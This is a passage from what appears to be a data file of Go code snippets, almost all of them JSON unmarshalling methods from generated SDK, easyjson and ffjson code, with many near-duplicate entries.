&t.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &t.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"systemData\":\n\t\t\terr = unpopulate(val, \"SystemData\", &t.SystemData)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &t.Type)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (fs *Filters) UnmarshalJSON(data []byte) error {\n\tvar tmp []filter\n\tif err := json.Unmarshal(data, &tmp); err != nil {\n\t\treturn err\n\t}\n\t*fs = make([]Filter, 0, len(tmp))\n\tfor _, f := range tmp {\n\t\t*fs = append(*fs, f.Filter)\n\t}\n\treturn nil\n}", "func (v *Visit) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonE564fc13DecodeGithubComLa0rgHighloadcupModel1(&r, v)\n\treturn r.Error()\n}", "func (j *jsonNative) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (this *SimpleWithMap_Nested) UnmarshalJSON(b []byte) error {\n\treturn TypesUnmarshaler.Unmarshal(bytes.NewReader(b), this)\n}", "func (v *Features) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson42239ddeDecodeGithubComKhliengDispatchServer25(&r, v)\n\treturn r.Error()\n}", "func (g *GenerateExpressRoutePortsLOAResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", g, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"encodedContent\":\n\t\t\terr = unpopulate(val, \"EncodedContent\", &g.EncodedContent)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", g, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (v *Node) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjson6601e8cdDecodeGithubComSkydiveProjectSkydiveGraffitiApiTypes1(&r, v)\n\treturn r.Error()\n}", "func (a *AppTemplatesResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &a.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &a.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (t *TransformOutput) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"onError\":\n\t\t\terr = unpopulate(val, \"OnError\", &t.OnError)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"preset\":\n\t\t\tt.Preset, err = unmarshalPresetClassification(val)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"relativePriority\":\n\t\t\terr = unpopulate(val, \"RelativePriority\", &t.RelativePriority)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (e *ExtraLayers) UnmarshalJSON(data []byte) error {\n\tvar a []string\n\tif err := json.Unmarshal(data, &a); err != nil {\n\t\treturn err\n\t}\n\treturn e.Parse(a...)\n}", "func (s *SingleServerRecommendationResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"deploymentType\":\n\t\t\terr = unpopulate(val, \"DeploymentType\", &s.DeploymentType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"vmSku\":\n\t\t\terr = unpopulate(val, \"VMSKU\", &s.VMSKU)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", s, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (m *AlertAllOf1Body) UnmarshalJSON(raw []byte) error {\n\tvar data struct {\n\t\tContexts json.RawMessage `json:\"contexts,omitempty\"`\n\n\t\tDetails interface{} `json:\"details,omitempty\"`\n\n\t\tType string `json:\"type,omitempty\"`\n\t}\n\tbuf := bytes.NewBuffer(raw)\n\tdec := json.NewDecoder(buf)\n\tdec.UseNumber()\n\n\tif err := dec.Decode(&data); err != nil {\n\t\treturn err\n\t}\n\n\tcontexts, err := UnmarshalContextSlice(bytes.NewBuffer(data.Contexts), runtime.JSONConsumer())\n\tif err != nil && err != io.EOF {\n\t\treturn err\n\t}\n\n\tvar result AlertAllOf1Body\n\n\t// contexts\n\tresult.contextsField = contexts\n\n\t// details\n\tresult.Details = data.Details\n\n\t// type\n\tresult.Type = data.Type\n\n\t*m = result\n\n\treturn nil\n}", "func (f *FromAllInputFile) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"includedTracks\":\n\t\t\tf.IncludedTracks, err = unmarshalTrackDescriptorClassificationArray(val)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"@odata.type\":\n\t\t\terr = unpopulate(val, \"ODataType\", &f.ODataType)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (j *Regulations) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *Fruit) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonD2b7633eDecodeBackendInternalModels11(&r, v)\n\treturn r.Error()\n}", "func (a *AzureFirewallListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &a.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &a.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (f *FromEachInputFile) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"includedTracks\":\n\t\t\tf.IncludedTracks, err = unmarshalTrackDescriptorClassificationArray(val)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"@odata.type\":\n\t\t\terr = unpopulate(val, \"ODataType\", &f.ODataType)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (t *TestLineListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &t.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &t.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (f *FilterItems) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"field\":\n\t\t\terr = unpopulate(val, \"Field\", &f.Field)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"values\":\n\t\t\terr = unpopulate(val, \"Values\", &f.Values)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (t *BlockTest) UnmarshalJSON(in []byte) error {\n\treturn json.Unmarshal(in, &t.Json)\n}", "func (sc *ScrapeConfigs) UnmarshalJSON(b []byte) error {\n\n\tvar oneConfig ScrapeConfig\n\tif err := json.Unmarshal(b, &oneConfig); err == nil {\n\t\t*sc = ScrapeConfigs{oneConfig}\n\t\treturn nil\n\t}\n\tvar multiConfigs []ScrapeConfig\n\tif err := json.Unmarshal(b, &multiConfigs); err == nil {\n\t\t*sc = multiConfigs\n\t\treturn nil\n\t} else {\n\t\tfmt.Println(err)\n\t\tfmt.Println(\"Badly formatted YAML: Exiting\")\n\t\tos.Exit(1)\n\t}\n\treturn nil\n}", "func (f *FeatureResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"id\":\n\t\t\terr = unpopulate(val, \"ID\", &f.ID)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"name\":\n\t\t\terr = unpopulate(val, \"Name\", &f.Name)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"properties\":\n\t\t\terr = unpopulate(val, \"Properties\", &f.Properties)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"type\":\n\t\t\terr = unpopulate(val, \"Type\", &f.Type)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", f, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (t *TestAllRoutesResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"routes\":\n\t\t\terr = unpopulate(val, \"Routes\", &t.Routes)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", t, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (a *AppListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &a.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &a.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (m *MapTransform) UnmarshalJSON(b []byte) error {\n\treturn json.Unmarshal(b, &m.Pairs)\n}", "func (a *AzureFirewallFqdnTagListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &a.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &a.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (a *AzureStackEdgeFormat) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"azureStackEdge\":\n\t\t\terr = unpopulate(val, \"AzureStackEdge\", &a.AzureStackEdge)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"deviceType\":\n\t\t\terr = unpopulate(val, \"DeviceType\", &a.DeviceType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"networkFunctions\":\n\t\t\terr = unpopulate(val, \"NetworkFunctions\", &a.NetworkFunctions)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"provisioningState\":\n\t\t\terr = unpopulate(val, \"ProvisioningState\", &a.ProvisioningState)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"status\":\n\t\t\terr = unpopulate(val, \"Status\", &a.Status)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", a, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (e *ExpressRouteLinkListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", e, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &e.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &e.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", e, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (f genHelperDecoder) DecJSONUnmarshal(tm jsonUnmarshaler) {\n\tf.d.jsonUnmarshalV(tm)\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (o *OperationListResult) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &o.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &o.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", o, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (n *NumberInAdvancedFilter) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", n, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"key\":\n\t\t\terr = unpopulate(val, \"Key\", &n.Key)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"operatorType\":\n\t\t\terr = unpopulate(val, \"OperatorType\", &n.OperatorType)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"values\":\n\t\t\terr = unpopulate(val, \"Values\", &n.Values)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", n, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (d *DelegatedSubnets) UnmarshalJSON(data []byte) error {\n\tvar rawMsg map[string]json.RawMessage\n\tif err := json.Unmarshal(data, &rawMsg); err != nil {\n\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", d, err)\n\t}\n\tfor key, val := range rawMsg {\n\t\tvar err error\n\t\tswitch key {\n\t\tcase \"nextLink\":\n\t\t\terr = unpopulate(val, \"NextLink\", &d.NextLink)\n\t\t\tdelete(rawMsg, key)\n\t\tcase \"value\":\n\t\t\terr = unpopulate(val, \"Value\", &d.Value)\n\t\t\tdelete(rawMsg, key)\n\t\t}\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"unmarshalling type %T: %v\", d, err)\n\t\t}\n\t}\n\treturn nil\n}", "func Unflatten(flat map[string]interface{}) (nested map[string]interface{}, err error) {\n\tnested = make(map[string]interface{})\n\n\tfor k, v := range flat {\n\t\ttemp := uf(k, v).(map[string]interface{})\n\t\terr = mergo.Merge(&nested, temp)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\twalk(reflect.ValueOf(nested))\n\n\treturn\n}", "func (j *Type) UnmarshalJSON(input []byte) error {\n\tfs := fflib.NewFFLexer(input)\n\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\n}", "func (v *Element) UnmarshalJSON(data []byte) error {\n\tr := jlexer.Lexer{Data: data}\n\teasyjsonB83d7b77DecodeGoplaygroundMyjson2(&r, v)\n\treturn 